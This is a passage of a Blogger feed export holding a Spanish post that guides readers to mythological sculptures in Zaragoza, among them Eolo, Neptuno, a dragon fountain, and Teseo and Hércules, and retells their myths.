descubierto y adquirido el archivo de José de Palafox.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoListParagraph&quot; style=&quot;line-height: normal; margin: 0cm 0cm 0.0001pt 18pt; text-align: justify; text-indent: -18pt;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; mso-ansi-language: ES;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoListParagraph&quot; style=&quot;line-height: normal; margin: 0cm 0cm 0.0001pt 18pt; text-align: justify; text-indent: -18pt;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; mso-ansi-language: ES;&quot;&gt;&lt;span style=&quot;font-size: 13.3333px; text-align: right;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; María José Germán&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoListParagraph&quot; style=&quot;line-height: normal; margin: 0cm 0cm 0.0001pt 18pt; text-align: right; text-indent: -18pt;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 10pt; mso-ansi-language: ES;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://lazaragozaignorada.blogspot.com/feeds/843696188814090758/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/10/memorias-jose-de-palafox-1994.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/843696188814090758'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/3754730700529506539/posts/default/843696188814090758'/><link rel='alternate' type='text/html' href='https://lazaragozaignorada.blogspot.com/2020/10/memorias-jose-de-palafox-1994.html' title='José de Palafox'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIoHcPgcAHWkT5K-rG84CxzPhXIKvKDRQOtU9O7obWDdfWxu6Vwnv5sHUTp-2vhep5IJE18Y9FqdSILjutfs2iBECarvpVau1Yp5WNocPUg9yc0REKAXTwGGelygDPyuZLJkMy1rzlUINX/s72-w215-h320-c/Palafox.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3754730700529506539.post-8088084759678786525</id><published>2020-10-18T22:15:00.015+02:00</published><updated>2020-11-10T23:10:32.842+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="EDAD ANTIGUA"/><category scheme="http://www.blogger.com/atom/ns#" term="EDAD CONTEMPORÁNEA"/><category scheme="http://www.blogger.com/atom/ns#" term="MITOLOGÍA"/><title type='text'>Esculturas mitológicas</title><content type='html'>&lt;p&gt;&lt;span style=&quot;font-family: helvetica; font-size: large;&quot;&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;&lt;span&gt;¿Sabías que ... hay esculturas mitológicas en Zaragoza?&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNdEL-l3PGbGmWc57U5bNRQvCdc-MqKZKh0ckkTXPwptLC0eHywW4ZrwguTVOThwxNM7t9ScZkuY0Ka42FYz7yGDRZJF3oKE4rIQa_HTQfUn6CR8VaoB9OjfQwQrT1E-xRksyr2nNcJ7Wa/s1000/drag%25C3%25B3n+1.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;763&quot; data-original-width=&quot;1000&quot; height=&quot;256&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNdEL-l3PGbGmWc57U5bNRQvCdc-MqKZKh0ckkTXPwptLC0eHywW4ZrwguTVOThwxNM7t9ScZkuY0Ka42FYz7yGDRZJF3oKE4rIQa_HTQfUn6CR8VaoB9OjfQwQrT1E-xRksyr2nNcJ7Wa/w337-h256/drag%25C3%25B3n+1.jpg&quot; width=&quot;337&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;MsoNoSpacing&quot; style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt; text-align: justify;&quot;&gt;&lt;b&gt;¿Quién no ha pasado
muchas veces por la misma escultura, obra de arte, estatua, etc. yendo al
trabajo, paseando despreocupado o cuando queda con los amigos y no se ha
percatado de que estaban ahí? Yo mismo muchas veces.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;Ojeando las guías de
viajes de otras ciudades he visto que muchas de ellas están adornadas con
esculturas o estatuas de temática mitológica y entonces pensé: “¿Zaragoza
tendrá también estatuas mitológicas?”. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;Os dejo a
continuación la selección que a mí más me ha gustado. Espero que las encontréis
y las disfrutéis.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;Comenzando nuestro
viaje mitológico, como si de un Aquiles o un Ulises se tratara, empezaré por
exponer algunos ejemplos relacionados con los elementos.&lt;/span&gt;&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial Black&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 14pt; line-height: 115%; mso-bidi-font-family: Arial;&quot;&gt;&lt;b&gt;EOLO&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;(Localizado en Puerto
Venecia)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; line-height: 115%;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-size: 12pt;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizDZWCu8tSdbyRmfe5QVrdD_W3odiznsp4xCNiMrIdUTSl7FpUBdKRJNjIjFD0Czg5JodG1Zaoke9q_ml3u2EgDV9iR82-KvKIpW1umUxduuS6r7QZEyyYAaLftLEoe45FWH6S-gQ4KxnR/s400/eolo+2.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;400&quot; data-original-width=&quot;189&quot; height=&quot;506&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizDZWCu8tSdbyRmfe5QVrdD_W3odiznsp4xCNiMrIdUTSl7FpUBdKRJNjIjFD0Czg5JodG1Zaoke9q_ml3u2EgDV9iR82-KvKIpW1umUxduuS6r7QZEyyYAaLftLEoe45FWH6S-gQ4KxnR/w239-h506/eolo+2.jpg&quot; width=&quot;239&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;EOLO&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%; text-align: justify;&quot;&gt;&amp;nbsp; Así pues, si por un
casual nos vamos a Puerto Venecia a&amp;nbsp; &amp;nbsp; hacer algunas compras o solamente a pasar
el día,&amp;nbsp; &amp;nbsp;nos podemos acercar a contemplar esta escultura dedicada a nuestro
viento más famoso: el Cierzo.&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%; text-align: justify;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Y qué mejor nombre para esta escultura que el dios de los vientos: Eolo.&lt;/span&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;&lt;br /&gt;&amp;nbsp;Entre otras
aventuras, Eolo ayudó a Ulises (también conocido como Odiseo) cuando al
principio de su Odisea se perdió por el Mediterráneo y acabó arribando a su
isla. El dios se apiadó de él y le entregó un saco hecho con piel de animal que
contenía todos los vientos huracanados menos uno, el que le iba a ayudar a
volver a su patria y junto a su esposa Penélope. Sin embargo, sus marineros,
pensando que llevaba grandes tesoros y que Ulises no quería compartirlos con
ellos, abrieron el saco y se desató una gran tormenta que hizo que volvieran a
perder el rumbo y no volvieran a casa todavía. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: left;&quot;&gt;&lt;span style=&quot;font-family: arial; font-size: 16px; text-align: justify;&quot;&gt;&amp;nbsp;¿Quién no se ha sentido en medio de un gran vendaval cuando sopla&amp;nbsp; &amp;nbsp;el cierzo?&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: left;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 14pt; font-weight: bold; line-height: 21.4667px; mso-bidi-font-family: Arial; text-align: justify; text-indent: -24px;&quot;&gt;&lt;b&gt;NEPTUNO&lt;/b&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; font-weight: bold; line-height: 18.4px; text-align: justify; text-indent: -24px;&quot;&gt;(Localizado en el parque José Antonio Labordeta)&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjokQjrb9ODIV2j2Pe5ZLCUwN37K01Anl2e-KMOebMX-jbiSu5caVtU_vCQq6L-x9Qkzt2fVIOaCy11pmDwbgqSn80lGMwHhCtzXhwYSvbRZ8O2-EA0Wqh9PnuHjdBTPL-iQZHWblGkNY3d/s1500/Neptuno2.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1500&quot; data-original-width=&quot;1124&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjokQjrb9ODIV2j2Pe5ZLCUwN37K01Anl2e-KMOebMX-jbiSu5caVtU_vCQq6L-x9Qkzt2fVIOaCy11pmDwbgqSn80lGMwHhCtzXhwYSvbRZ8O2-EA0Wqh9PnuHjdBTPL-iQZHWblGkNY3d/w300-h400/Neptuno2.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;NEPTUNO&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style=&quot;text-align: justify; text-indent: -24px;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt; text-align: right;&quot;&gt;Pero, eh aquí, que
Poseidón, también conocido como Neptuno, al percibir desde las profundidades
del Océano la gran tempestad que se había producido en la superficie por la
culpa de los compañeros de Ulises, asomó la cabeza entre las olas y puso paz
con ademanes y aspavientos gritándoles a los vientos que él era el único
soberano de las aguas y a quien en realidad debían pleitesía.&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;Neptuno se impone
entonces a los vientos que revuelven sus aguas con actitud elegante y divina
parecido a como lo vemos en el gran parque de nuestra ciudad José Antonio
Labordeta (antes Parque Primo de Rivera) y coloquialmente conocido como “Parque
Grande”.&lt;span style=&quot;mso-no-proof: yes;&quot;&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt; text-align: left;&quot;&gt;Os retamos a que encontréis el pasaje en la
Odisea.&lt;/span&gt;&lt;/p&gt;

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&quot;/&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;span style=&quot;height: 59px; left: -262px; mso-ignore: vglayout; position: relative; top: 22px; width: 243px; z-index: 251682816;&quot;&gt;

&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt; text-align: justify;&quot;&gt;Si aún sentimos ganas
de refrescarnos, podemos seguir paseando por esta hermosa ciudad, pero ¡¡cuidado!!
, hay un dragón que guarda las aguas de esta fuente.&lt;/span&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial Black&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%; mso-bidi-font-family: Arial;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;DRAGÓN&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;(Localizado Av. de Cataluña, 24)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQN6110u7j0mLjMdGu4S-7n8MJCbec30P0T0lTEvw79JW2SpMuyjDelgLmAtR9zQ_ylCitV98qNUVYghlLI7qYXCREeoyshysodFZEwqWxc6i6zmNsZT6McZWtkMaUOIalfbFaoju7FS_5/s1000/drag%25C3%25B3n+7.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1000&quot; data-original-width=&quot;750&quot; height=&quot;398&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQN6110u7j0mLjMdGu4S-7n8MJCbec30P0T0lTEvw79JW2SpMuyjDelgLmAtR9zQ_ylCitV98qNUVYghlLI7qYXCREeoyshysodFZEwqWxc6i6zmNsZT6McZWtkMaUOIalfbFaoju7FS_5/w299-h398/drag%25C3%25B3n+7.jpg&quot; width=&quot;299&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;DRAGÓN EMERGENTE&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span style=&quot;font-family: arial; font-size: 12pt;&quot;&gt;Os estaréis
preguntando qué diablos tendrá que ver este dragón, en mitad de una fuente, con
la Mitología Clásica, pues estáis de enhorabuena porque para eso estamos aquí.&lt;/span&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;No sé si os sonará la
famosa ciudad de Tebas, en Grecia, ¿no? Sí hombre, Tebas, la de… ¡Exacto! La de
te vas a Tebas… jajaja. Bueno, fuera chistes malos. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;Después de que Zeus
(Júpiter) se encaprichara de una muchacha mortal (como solía pasar por otra
parte muy a menudo, por ejemplo el rapto de Europa… lo que está representado en
las monedas de dos euros griegas…) &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;el
padre de la chica encargó a su familia que la buscaran por todas partes. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;Pues bien, uno de sus
hermanos llamado Cadmo, desesperado ya de tanto buscar, fue al oráculo para
preguntar directamente a los dioses dónde podía encontrar a su hermana perdida
(os dejo con la intriga para que leáis si la encuentra al final o no). La cosa
es que, finalmente, Cadmo acabará fundando una ciudad: Tebas. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;Sin embargo, para
fundar una ciudad como Zeus manda, necesitas purificar la zona, y para eso
necesitas agua, y ¿quién o qué vigila la fuente de agua? ¡Exacto! Este gran
dragón que tenemos aquí. Para saber qué le pasa al dragón, a sus dientes, a
Cadmo y a Tebas, tendrás que buscar el mito de fundación de la ciudad… ¡qué
malvados somos!&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;Cambiando de tema, y
ya que hemos empezado a hablar de héroes mitológicos, os propongo a
continuación hablar de dos que vemos con frecuencia al pasar por delante de la
Audiencia, concretamente uno a cada lado de la puerta principal. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial Black&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;line-height: 115%; mso-bidi-font-family: Arial;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;TESEO Y HÉRCULES&lt;/span&gt;&lt;/b&gt; &lt;/span&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;(Localizados en la portada del&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: arial; font-size: 16px;&quot;&gt;Palacio de los condes de Morata, actual Audiencia Provincial de Zaragoza, situada en la calle Coso, nº1)&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;Se interpretan como
Teseo y Hércules. Os preguntaréis cuál es cual, pues, teniendo en cuenta que se
parecen bastante los dos… sólo me puedo acordar de que Hércules llevaba a modo
de capa la piel del León de Nemea cuya fuerza y dureza era tal que le servía de
escudo. Así pues, si nos fijamos en el casco, veremos un par de orejas de león.
El otro, por descarte, es Teseo.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: left;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY06T2ztF5tWVTzIcVKmNsFH9gJYwVwzoqFpNOCX34EQMBvQR0bdSRUKW7sfmpNRhndrR2mA10Xx0zahnr3Kr9sya8I9Dh-w2WcbXwc8XEv5qMYrZf40aXI3Tq31h2zogxke4RC-DvD_Sx/s1500/Portada+Audiencia7.jpg&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1500&quot; data-original-width=&quot;888&quot; height=&quot;433&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY06T2ztF5tWVTzIcVKmNsFH9gJYwVwzoqFpNOCX34EQMBvQR0bdSRUKW7sfmpNRhndrR2mA10Xx0zahnr3Kr9sya8I9Dh-w2WcbXwc8XEv5qMYrZf40aXI3Tq31h2zogxke4RC-DvD_Sx/w256-h433/Portada+Audiencia7.jpg&quot; title=&quot;TESEO&quot; width=&quot;256&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;TESEO&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;span style=&quot;font-family: arial;&quot;&gt;&lt;span face=&quot;&amp;quot;Arial&amp;quot;,&amp;quot;sans-serif&amp;quot;&quot; lang=&quot;ES&quot; style=&quot;font-size: 12pt; line-height: 115%;&quot;&gt;&lt;br /&gt;Teseo
era el príncipe de Atenas que viajó voluntariamente en lugar de otro tributo &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;(¡cómo nos suena esto a los juegos del
hambre!), en total siete chicos y siete chicas para servir de sacrificio al
monstruo Minotauro en Creta. Cómo llegó el monstruo a Creta y qué pasó con
Teseo, eso es ya otra historia. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;p&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;Pero vamos a lo que
importa, es muy interesante que un héroe mitológico que simboliza la resolución
de problemas irresolubles por adentrarse en el laberinto esté relacionado con
este edificio tan importante para la historia de Aragón y de Zaragoza en
Particular. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span lang=&quot;ES&quot; style=&quot;font-family: arial; font-size: 12pt; line-height: 115%;&quot;&gt;&lt;/span&gt;&lt;/p&gt;&lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;float: right; margin-left: 1em; text-align: right;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdAOr73tQd2Bxpj20vzPA9B6Td2SmzbaDDFk-ee-UgK1b9Mfgp5RkamYinSdMJRQVTCaUN5KkKPL1Fasvl8P8DNH7Qe2Gp32yEylIlrdcwMFEz7SsVDgmDNlsEf6tXcRx3DBBDIJsW4e4p/s1500/Portada+Audiencia+2.jpg&quot; style=&quot;clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1500&quot; data-original-width=&quot;888&quot; height=&quot;386&quot; 